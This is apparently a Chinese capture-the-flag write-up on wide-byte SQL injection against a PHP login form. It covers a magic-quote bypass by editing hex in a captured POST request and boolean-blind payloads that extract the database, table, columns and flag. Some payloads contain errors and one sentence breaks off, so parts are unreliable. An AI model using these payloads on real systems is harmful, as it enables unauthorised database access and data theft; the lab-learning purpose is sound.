宽字节注入(三)
判断注入
$sql = 'select *from user where username =(\''.$username.'\') and password=(\''.$password.'\')'
这里只是加了过滤,我要我们把前面的小括号和单引号闭合就可以了。再把后面的注释掉就是了。
本来应该是 %df') and 1=1 -- + 但是这里是POST传参,POST传参不会解析URL编码
所以我们这里用 a') or 1=1 -- +
我们知道要绕过魔术引号的话,必须让一个字符和单引号结合成一个共同体,这样就把魔术引号绕过了。
一个汉字就是占2个字符,一个字符加上单引号的字符用URL编码就是 %df%5c
但是这里是POST传参,POST传参不会解析URL编码,那我们不用URL编码,是不是df5c呢?但很遗憾并不能,因此考虑抓包绕过。
绕过方法:抓一个包,然后修稿hex的值
成功绕过!
方法二
原理
你传输的编码(UTF-8)和数据库的编码不一样,就导致融合(进行编码)(因为utf8 占3个字节,加上 \ 就是4个字节,而gbk是2个字节组成一个汉字,所以这里就相当于是2个汉字)
如果数据库也是utf8,那就不行了
数据库是非英文编码,我们就有机会
那么我们
成功绕过!
查当前数据库
需要抓包,首先测出当前数据库长度为8
下一步,查出库名:
艹’) and ascii(substr(database(),1,1))=97 – qwe
暴库名
库名是widechar
查表名
查有几个表
有两行
查表长度
第一个长度为12
第一个表名为:china_flag
查行
查行个数
有2行
- 汉’) or length((select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 1,1 ))>0 – qwe
注意绕过宽字节注入!!!
查行字符长度
第一行是2个字符、第二个是6个字符
- 汉’) or length((select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema= database() limit 0,1) limit 1,1 ))=6 – qwe
暴行名
第一个行叫:Id
- 汉’) or (ascii(substr((select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)limit 0,1),1,1)))=73 – qwe
第二行:C_Flag
-汉’) or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 1,1),1,1))=23 – qwe
##查数据
汉’) ascii(substr((select 0x435f466c6167 from 0x6368696e615f666c6167 limit 0,1),1,1))=97 – qwe
数据依次为
zKaQ-Wide
zKaQ-CAIK
zKaQ-Kzj+mz
提交flag
逐一尝试提交准确的flag即可;flag为zKaQ-Kzj+mz